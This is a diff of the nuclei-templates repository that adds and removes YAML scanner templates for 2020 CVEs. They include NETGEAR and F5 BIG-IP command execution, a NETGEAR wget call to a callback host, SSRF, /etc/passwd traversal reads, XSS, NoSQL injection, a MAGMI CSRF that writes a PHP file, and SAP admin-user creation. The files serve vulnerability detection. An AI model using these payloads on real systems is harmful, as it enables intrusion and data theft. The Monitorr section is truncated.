https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json - - https://nvd.nist.gov/vuln/detail/CVE-2020-26413 - tags: cve,cve2020,gitlab,exposure,enum,graphql - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2020-26413 - cwe-id: CWE-200 - -requests: - - raw: - - | - POST /api/graphql HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - { - "query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }", - "variables": null, - "operationName": null - } - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"username":' - - '"avatarUrl":' - - '"node":' - condition: and - - - type: status - status: - - 200 - - extractors: - - type: json - part: body - json: - - '.data.users.edges[].node.email' diff --git a/nuclei-templates/CVE-2020/cve-2020-26919.yaml b/nuclei-templates/CVE-2020/cve-2020-26919.yaml new file mode 100644 index 0000000000..a57eaa9237 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-26919.yaml @@ -0,0 +1,30 @@ +id: CVE-2020-26919 + +info: + name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution + author: gy741 + severity: critical + description: NETGEAR ProSAFE Plus was found to allow any HTML page as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands. + reference: + - https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/ + - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/ + tags: cve,cve2020,netgear,rce,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-26919 + +requests: + - raw: + - | + POST /login.htm HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd= + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-26948.yaml b/nuclei-templates/CVE-2020/cve-2020-26948.yaml new file mode 100644 index 0000000000..6367027877 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-26948.yaml @@ -0,0 +1,32 @@ +id: CVE-2020-26948 + +info: + name: Emby Server SSRF + author: dwisiswant0 + severity: critical + reference: https://github.com/btnz-k/emby_ssrf + description: Emby Server before 4.5.0 allows SSRF via the Items/RemoteSearch/Image ImageURL parameter. + tags: cve,cve2020,emby,jellyfin,ssrf + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-26948 + cwe-id: CWE-918 + +requests: + - method: GET + path: + - "{{BaseURL}}/Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net" + matchers-condition: and + matchers: + - type: status + status: + - 500 + - type: word + words: + - "Name or service not known" + part: body + - type: word + words: + - "text/plain" + part: header diff --git a/nuclei-templates/CVE-2020/cve-2020-27191.yaml b/nuclei-templates/CVE-2020/cve-2020-27191.yaml deleted file mode 100644 index 82266438a6..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-27191.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2020-27191 -info: - name: LionWiki 3.2.11 - LFI - author: 0x_Akoko - severity: high - description: LionWiki before 3.2.12 allows an unauthenticated user to read files as the web server user via crafted string in the index.php f1 variable, aka Local File Inclusion. - reference: - - https://www.junebug.site/blog/cve-2020-27191-lionwiki-3-2-11-lfi - - http://lionwiki.0o.cz/index.php?page=Main+page - - https://www.cvedetails.com/cve/CVE-2020-27191 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-27191 - cwe-id: CWE-22 - tags: cve,cve2020,lionwiki,lfi,oss - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-27467.yaml b/nuclei-templates/CVE-2020/cve-2020-27467.yaml new file mode 100644 index 0000000000..efea3a97df --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-27467.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-27467 +info: + name: Processwire CMS < 2.7.1 - Directory Traversal + author: 0x_Akoko + severity: high + description: Local File Inclusion in Processwire CMS < 2.7.1 allows to retrieve arbitrary files via the download parameter to index.php By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system. + reference: + - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire + - https://processwire.com/ + - https://www.cvedetails.com/cve/CVE-2020-27467 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-27467 + cwe-id: CWE-22 + tags: cve,cve2020,processwire,lfi,cms,oss + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?download=/etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/CVE-2020-27735.yaml b/nuclei-templates/CVE-2020/cve-2020-27735.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-27735.yaml rename to nuclei-templates/CVE-2020/cve-2020-27735.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-27982.yaml b/nuclei-templates/CVE-2020/cve-2020-27982.yaml new file mode 100644 index 0000000000..f46b932a44 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-27982.yaml @@ -0,0 +1,34 @@ +id: CVE-2020-27982 +info: + name: IceWarp WebMail Reflected XSS + author: madrobot + severity: medium + description: IceWarp 11.4.5.0 allows XSS via the language parameter. + reference: https://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html + tags: cve,cve2020,xss,icewarp + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-27982 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-27986.yaml b/nuclei-templates/CVE-2020/cve-2020-27986.yaml new file mode 100644 index 0000000000..d33b9d2de3 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-27986.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-27986 + +info: + name: SonarQube unauth + author: pikpikcu + severity: high + description: | + SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, + SVN, and GitLab credentials via the api/settings/values URI. + NOTE: reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it." + reference: https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/ + tags: cve,cve2020,sonarqube + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2020-27986 + cwe-id: CWE-306,CWE-312 + +requests: + - method: GET + path: + - "{{BaseURL}}/api/settings/values" + + matchers-condition: and + matchers: + - type: word + words: + - email.smtp_host.secured + - email.smtp_password.secured + - email.smtp_port.secured + - email.smtp_username.secured + part: body + condition: and + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-28871.yaml b/nuclei-templates/CVE-2020/cve-2020-28871.yaml new file mode 100644 index 0000000000..8520809f13 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-28871.yaml @@ -0,0 +1,49 @@ +id: CVE-2020-28871 + +info: + name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution + author: gy741 + severity: critical + description: This template detects a remote code execution (RCE) vulnerability in Monitorr 1.7.6m. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-28871 + - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/ + - https://www.exploit-db.com/exploits/48980 + tags: cve,cve2020,monitorr,rce,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-28871 + cwe-id: CWE-434 + +requests: + - raw: + - | + POST /assets/php/upload.php HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: text/plain, */*; q=0.01 + Connection: close + Accept-Language: en-US,en;q=0.5 + X-Requested-With: XMLHttpRequest + Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745 + Origin: http://{{Hostname}} + Referer: http://{{Hostname}} + + -----------------------------31046105003900160576454225745 + Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php" + Content-Type: image/gif + + GIF89a213213123WMT Server playout" \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-35580.yaml b/nuclei-templates/CVE-2020/cve-2020-35580.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-35580.yaml rename to nuclei-templates/CVE-2020/cve-2020-35580.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-35846.yaml b/nuclei-templates/CVE-2020/cve-2020-35846.yaml new file mode 100644 index 0000000000..b012cee002 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-35846.yaml @@ -0,0 +1,44 @@ +id: CVE-2020-35846 + +info: + name: Cockpit prior to 0.12.0 NoSQL injection in /auth/check + author: dwisiswant0 + severity: critical + description: | + Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. + The $eq operator matches documents where the value of a field equals the specified value. + reference: https://swarm.ptsecurity.com/rce-cockpit-cms/ + tags: cve,cve2020,nosqli,sqli,cockpit,injection + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-35846 + cwe-id: CWE-89 + +requests: + - method: POST + path: + - "{{BaseURL}}/auth/check" + headers: + Content-Type: application/json + body: | + { + "auth": { + "user": { + "$eq": "admin" + }, + "password": [ + 0 + ] + } + } + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: body + words: + - "password_verify() expects parameter" diff --git a/nuclei-templates/CVE-2020/cve-2020-35847.yaml b/nuclei-templates/CVE-2020/cve-2020-35847.yaml deleted file mode 100644 index 93756688ee..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-35847.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2020-35847 - -info: - name: Cockpit prior to 0.12.0 NoSQL injection in /auth/resetpassword - author: dwisiswant0 - severity: critical - description: | - resetpassword method of the Auth controller, - which is responsible for changing the user password using the reset token. - reference: https://swarm.ptsecurity.com/rce-cockpit-cms/ - tags: cve,cve2020,nosqli,sqli,cockpit,injection - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-35847 - cwe-id: CWE-89 - -requests: - - method: POST - path: - - "{{BaseURL}}/auth/requestreset" - headers: - Content-Type: application/json - body: | - { - "user": { - "$func": "var_dump" - } - } - - matchers: - - type: regex - part: body - regex: - - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"' diff --git a/nuclei-templates/CVE-2020/cve-2020-36287.yaml b/nuclei-templates/CVE-2020/cve-2020-36287.yaml new file mode 100644 index 0000000000..0c9333c65c --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-36287.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-36287 + +info: + name: Jira Dashboard Gadgets / Information Disclosure + author: Jafar_Abo_Nada + severity: medium + description: The dashboard gadgets preference resource of the Atlassian gadgets plugin used in Jira Server and Jira Data Center before version 8.13.5, and from version 8.14.0 before version 8.15.1 allows remote anonymous attackers to obtain gadget related settings via a missing permissions check. + tags: cve,cve2020,jira,atlassian,disclosure + reference: | + - https://twitter.com/Jafar_Abo_Nada/status/1386058611084890116 + - https://nvd.nist.gov/vuln/detail/CVE-2020-36287 + + # On a vulnerable instance, iterate through gadget ID from 10000 to 19999 to get exposed information /rest/dashboards/1.0/10000/gadget/{{id}}/prefs + +requests: + - raw: + - | + GET /rest/dashboards/1.0/10000/gadget/10000/prefs HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 + + - | + GET /rest/dashboards/1.0/10000/gadget/10001/prefs HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 + + req-condition: true + matchers: + - type: dsl + dsl: + - "status_code_1 == 200" + - "contains(body_1, '')" + - "status_code_2 != 401" + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-36365.yaml b/nuclei-templates/CVE-2020/cve-2020-36365.yaml new file mode 100644 index 0000000000..771c887368 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-36365.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-36365 + +info: + name: Smartstore < 4.1.0 - Open redirect + author: 0x_Akoko + severity: medium + description: Smartstore (aka SmartStoreNET) before 4.1.0 allows CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit open redirect. + reference: + - https://github.com/smartstore/SmartStoreNET/issues/2113 + - https://www.cvedetails.com/cve/CVE-2020-36365 + - https://github.com/smartstore/SmartStoreNET + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-36365 + cwe-id: CWE-601 + metadata: + shodan-query: http.html:'content="Smartstore' + tags: cve,cve2020,redirect,smartstore + +requests: + - method: GET + + path: + - '{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.example.com' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2020/CVE-2020-3952.yaml b/nuclei-templates/CVE-2020/cve-2020-3952.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-3952.yaml rename to nuclei-templates/CVE-2020/cve-2020-3952.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-5405.yaml b/nuclei-templates/CVE-2020/cve-2020-5405.yaml deleted file mode 100644 index 4a7aa0348f..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-5405.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-5405 - -info: - name: Spring Cloud Directory Traversal - author: harshbothra_ - severity: medium - description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack. - reference: https://pivotal.io/security/cve-2020-5405 - tags: cve,cve2020,lfi,springcloud - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - cvss-score: 6.50 - cve-id: CVE-2020-5405 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-5410.yaml b/nuclei-templates/CVE-2020/cve-2020-5410.yaml deleted file mode 100644 index e8a81af7f6..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-5410.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-5410 - -info: - name: Directory Traversal in Spring Cloud Config Server - author: mavericknerd - severity: high - description: Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack. - reference: https://tanzu.vmware.com/security/cve-2020-5410 - tags: cve,cve2020,lfi,springcloud,config,traversal - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-5410 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-5776.yaml b/nuclei-templates/CVE-2020/cve-2020-5776.yaml new file mode 100644 index 0000000000..23edf290ed --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-5776.yaml @@ -0,0 +1,49 @@ +id: CVE-2020-5776 + +info: + name: Cross Site Request Forgery (CSRF) in MAGMI (Magento Mass Importer) Plugin + author: dwisiswant0 + severity: high + description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI. + reference: https://www.tenable.com/security/research/tra-2020-51 + tags: cve,cve2020,magmi,magento + + # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible + # in the event that a CSRF is leveraged against an existing admin session for MAGMI. + # At the time of this advisory, no patch exists for this issue. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2020-5776 + cwe-id: CWE-352 + +requests: + - raw: + - | + POST /magmi/web/magmi_saveprofile.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Connection: close + + profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses= + - | + POST /magmi/web/magmi_run.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Connection: close + + engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update + - | + GET /magmi/web/info.php HTTP/1.1 + Host: {{Hostname}} + Connection: close + matchers-condition: and + matchers: + - type: word + words: + - "PHP Extension" + - "PHP Version" + condition: and + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-5777.yaml b/nuclei-templates/CVE-2020/cve-2020-5777.yaml new file mode 100644 index 0000000000..4073d2b145 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-5777.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-5777 + +info: + name: Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23 + author: dwisiswant0 + severity: critical + description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure. + reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35 + tags: cve,cve2020,magmi,magento,auth,bypass,plugin + + # Response code 503 indicates a potential successful "Too many connections" error + # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php + # with default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=) + # Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2020-5777 + cwe-id: CWE-287 + +requests: + - raw: + - | + GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1 + Host: {{Hostname}} + Connection: close + + matchers-condition: and + matchers: + - type: word + words: + - "Too many connections" + part: body + - type: status + status: + - 503 diff --git a/nuclei-templates/CVE-2020/cve-2020-5902.yaml b/nuclei-templates/CVE-2020/cve-2020-5902.yaml deleted file mode 100644 index c8698e5e5f..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-5902.yaml +++ /dev/null @@ -1,79 +0,0 @@ -id: CVE-2020-5902 - -info: - name: F5 BIG-IP TMUI RCE - author: madrobot,dwisiswant0,ringo - severity: critical - description: In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. - reference: - - http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html - - http://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.html - - http://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html - - http://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.html - - http://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html - - https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/ - - https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 - - https://support.f5.com/csp/article/K52145254 - - https://swarm.ptsecurity.com/rce-in-f5-big-ip/ - - https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/ - - https://www.kb.cert.org/vuls/id/290915 - tags: cve,cve2020,bigip,rce - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-5902 - cwe-id: CWE-22,CWE-829 - -requests: - - method: GET - path: - - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" - - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release" - - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license" - - "{{BaseURL}}/hsqldb%0a" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: regex - regex: - - "root:.*:0:0:" - - "BIG-IP release ([\\d.]+)" - - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}" - - "HSQL Database Engine Servlet" - condition: or - - - raw: - - | - POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 - Host: {{Hostname}} - - command=create%20cli%20alias%20private%20list%20command%20bash - - | - POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1 - Host: {{Hostname}} - - fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d - - | - POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 - Host: {{Hostname}} - - command=list%20%2Ftmp%2Fnonexistent - - | - POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 - Host: {{Hostname}} - - command=delete%20cli%20alias%20private%20list - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "h3ll0_w0Rld" diff --git a/nuclei-templates/CVE-2020/cve-2020-6287.yaml b/nuclei-templates/CVE-2020/cve-2020-6287.yaml new file mode 100644 index 0000000000..d86e3db289 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-6287.yaml @@ -0,0 +1,53 @@ +id: CVE-2020-6287 + +info: + name: SAP NetWeaver - Remote Admin addition + author: dwisiswant0 + severity: critical + tags: cve,cve2020,sap + description: | + SAP NetWeaver AS JAVA (LM Configuration Wizard), versions - 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to Missing Authentication Check. + reference: + - https://launchpad.support.sap.com/#/notes/2934135 + - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675 + - https://www.onapsis.com/recon-sap-cyber-security-vulnerability + - https://github.com/chipik/SAP_RECON + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.00 + cve-id: CVE-2020-6287 + cwe-id: CWE-306 + +requests: + - raw: + - | + POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml; charset=UTF-8 + Connection: close + + sap.com/tc~lm~config~contentcontent/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc + CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA== + userDetails + + # userName - sapRpoc6351 